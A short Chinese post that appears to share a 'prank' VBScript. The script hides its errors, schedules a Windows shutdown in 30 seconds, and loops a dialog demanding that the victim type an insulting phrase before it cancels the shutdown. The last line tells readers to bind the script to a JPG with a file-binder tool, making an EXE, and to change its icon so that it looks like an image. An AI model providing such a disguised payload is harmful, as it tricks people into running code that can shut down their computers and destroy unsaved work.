整人对话框

on error resume next
set wshshell=createobject("wscript.shell")
wshshell.run "cmd.exe /c shutdown -s -t 30 -c ""快关机了"" ",0,true
dim a
do while(a <> "amusb")
a=inputbox("amusb,否则就关机","哈哈真乖","阿木傻逼",8000,7000)
loop
wshshell.run "cmd.exe /c shutdown -a",0,true

 

命名为1.vbs,与2.jpg,用紫迪捆绑器捆绑为3.exe,并将图标修改，即可整人了